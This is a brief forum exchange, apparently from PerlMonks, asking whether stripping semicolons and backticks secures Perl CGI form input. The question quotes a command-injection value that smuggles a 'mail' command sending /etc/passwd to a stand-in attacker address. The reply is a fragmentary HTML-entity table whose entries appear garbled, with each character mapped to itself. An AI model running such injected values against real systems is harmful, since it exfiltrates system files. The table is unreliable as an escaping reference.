I've been reading up on security for cgi scripts, and completely understand and agree with the requirement for caution. However I have several form fields where the input could be pretty much anything, and all the examples of evil wrongdoing seem to be based upon insertion of line ends ; and back ticks. For example, entering an unchecked email address as: nobody@nowhere.com; mail badguys@hell.org</etc/passwd;
In instances where one input possibilities are extremely broad, is it safe simply to strip out semi colons and backticks, and if not, why not?
In reply to line ends,, backticks and perl security by Anonymous Monk
| For: | Use: | ||
| & | & | ||
| < | < | ||
| > | > | ||
| [ | [ | ||
| ] | ] |